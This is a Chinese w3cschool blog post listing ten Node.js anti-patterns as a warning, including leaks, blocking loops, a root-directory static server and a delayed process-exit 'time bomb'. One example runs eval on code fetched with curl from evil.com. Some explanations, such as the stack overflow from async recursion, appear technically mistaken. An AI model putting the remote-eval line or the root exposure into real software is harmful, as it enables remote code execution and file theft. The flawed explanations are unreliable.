邪修 Node.js 10 连击|事件循环冻结、内存黑洞、原型链污染

编程狮(w3cschool.cn) 2025-08-08 11:39:02 浏览数 (153)
反馈

邪修 Node.js ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

⚠️ 每条都可能:事件循环阻塞、内存泄漏、CPU 100%、安全裸奔、运维提刀

面试炫技 OK,项目敢用就等死!

1️⃣ 一行事件循环冻结

while (true) {}          // 主线程死循环,事件循环直接卡死

浏览器/Node 进程瞬间无响应,只能强杀。

2️⃣ 内存泄漏黑洞

setInterval(() => {
  const leak = new Array(1e6).fill(0); // 每 1 秒 8 MB
}, 1000);

不释放大数组,长期运行后 V8 OOM 崩溃。

3️⃣ 异步递归炸裂

async function evil() {
  await Promise.resolve();
  return evil();        // 永不返回,调用栈指数增长
}
evil();

每次 await 创建新微任务,最终 RangeError: Maximum call stack size exceeded

4️⃣ 动态 eval 木马

const { execSync } = require('child_process');
eval(execSync('curl -s evil.com/payload.js')); // 远程执行任意代码

运行时拉取远程脚本,杀软直接报警 。

5️⃣ setInterval + require 循环加载

setInterval(() => {
  delete require.cache[require.resolve('./module')];
  require('./module');  // 每 100 ms 重新加载,内存暴涨
}, 100);

模块缓存泄漏,RSS 直线上升。

6️⃣ fs 无限制写日志

const fs = require('fs');
setInterval(() => {
  fs.appendFileSync('/tmp/evil.log', 'x'.repeat(1e6)); // 1 MB/次
}, 10);

10 秒写 100 MB,磁盘秒满 。

7️⃣ 高并发拒绝服务

const http = require('http');
http.createServer((req, res) => {
  setTimeout(() => res.end('ok'), 0); // 0 ms 延迟,瞬间耗尽线程池
}).listen(3000);

客户端洪水攻击,单核 CPU 100%。

8️⃣ 原型链污染全局

Object.prototype.toString = () => '💥'; // 所有对象行为篡改
console.log(({}).toString());            // 输出 💥

破坏内置方法,调试器原地崩溃 。

9️⃣ 通配符路径遍历

const express = require('express');
const app = express();
app.use('/static', express.static('/')); // 根目录暴露

/static/../../../etc/passwd 直接下载系统文件。

🔟 隐藏定时炸弹

setTimeout(() => {
  process.exit(0); // 运行 1 小时后自动自杀
}, 3600 * 1000);

长期潜伏,运维半夜被叫醒。

邪修口诀

“事件循环当陀螺,内存当黑洞;

eval 当暗器,进程当烟花。”

PS

想要正经学习 Node.js ,从编程狮的《Node.js 入门课程》开始!

0 人点赞